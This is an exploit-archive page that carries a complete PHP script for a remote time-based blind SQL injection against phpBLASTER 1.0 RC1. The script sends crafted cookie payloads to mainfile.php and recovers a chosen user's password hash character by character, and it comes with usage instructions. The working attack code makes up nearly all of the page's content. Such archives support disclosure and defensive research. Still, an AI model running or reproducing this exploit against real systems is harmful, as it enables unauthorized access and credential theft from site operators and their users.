what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

phpBLASTER 1.0 RC1 SQL Injection

phpBLASTER 1.0 RC1 SQL Injection
Posted Feb 2, 2009
Authored by darkjoker | Site darkjokerside.altervista.org

phpBLASTER version 1.0 RC1 remote blind SQL injection exploit.

tags | exploit, remote, sql injection
SHA-256 | 6e115427df40a13ae0f048c2578c31d985ec9f601c3778b4b9e8f1e5b3c093ca

phpBLASTER 1.0 RC1 SQL Injection

Change Mirror Download
--+++============================================================+++--
--+++====== phpBLASTER 1.0 RC1 Blind SQL Injection Exploit ======+++--
--+++============================================================+++--

<?php

function query ($username, $pos, $chr)
{
$query = "x' OR IF((ASCII(SUBSTRING((SELECT password FROM".
" blaster_users WHERE username ='{$username}'),{$pos},1))={$chr}),BENCHMARK".
"(200000000,CHAR(0)),0) OR 'x' = 'y";
$query = str_replace (" ", "%20", $query);
$query = str_replace ("'", "%27", $query);
return $query;
}

function exploit ($hostname, $path, $username, $pos, $chr)
{
$chr = ord ($chr);
$conn = fsockopen ($hostname, 80);

$request = "GET {$path}/html/mainfile.php HTTP/1.1\r\n".
"Host: {$hostname}\r\n".
"Cookie: blaster_user=" . query ($username, $pos, $chr) . "\r\n".
"Connection: Close\r\n\r\n";

$time_a = time ();

fputs ($conn, $request);
while (!feof ($conn))
fgets ($conn, 1024);

$time_b = time ();

fclose ($conn);

if ($time_b - $time_a > 4)
return true;
else
return false;
}

function run ($hostname, $path, $username)
{
$key = "abcdef0123456789";
$chr = 0;
$pos = 1;
echo "[+] Password: ";
while ($pos <= 32)
{
if (exploit ($hostname, $path, $username, $pos, $key [$chr]))
{
echo $key [$chr];
$chr = 0;
$pos++;
}
else
$chr++;
}
echo "\n\n";
}

function usage ()
{
exit (
"\nphpBLASTER 1.0 RC1 Blind SQL Injection Exploit".
"\n[+] Author : darkjoker".
"\n[+] Site : http://darkjoker.net23.net".
"\n[+] CMS Site : http://phpblaster.org".
"\n[+] Usage : php xpl.php <hostname> <path> <username>".
"\n[+] Ex. : php xpl.php localhost /phpBLASTER root".
"\n\n");
}



if ($argc != 4)
usage ();

$hostname = $argv [1];
$path = $argv [2];
$username = $argv [3];

run ($hostname, $path, $username);

?>

Login or Register to add favorites

File Archive:

June 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jun 1st
    0 Files
  • 2
    Jun 2nd
    0 Files
  • 3
    Jun 3rd
    18 Files
  • 4
    Jun 4th
    21 Files
  • 5
    Jun 5th
    0 Files
  • 6
    Jun 6th
    57 Files
  • 7
    Jun 7th
    0 Files
  • 8
    Jun 8th
    0 Files
  • 9
    Jun 9th
    0 Files
  • 10
    Jun 10th
    0 Files
  • 11
    Jun 11th
    0 Files
  • 12
    Jun 12th
    0 Files
  • 13
    Jun 13th
    0 Files
  • 14
    Jun 14th
    0 Files
  • 15
    Jun 15th
    0 Files
  • 16
    Jun 16th
    0 Files
  • 17
    Jun 17th
    0 Files
  • 18
    Jun 18th
    0 Files
  • 19
    Jun 19th
    0 Files
  • 20
    Jun 20th
    0 Files
  • 21
    Jun 21st
    0 Files
  • 22
    Jun 22nd
    0 Files
  • 23
    Jun 23rd
    0 Files
  • 24
    Jun 24th
    0 Files
  • 25
    Jun 25th
    0 Files
  • 26
    Jun 26th
    0 Files
  • 27
    Jun 27th
    0 Files
  • 28
    Jun 28th
    0 Files
  • 29
    Jun 29th
    0 Files
  • 30
    Jun 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close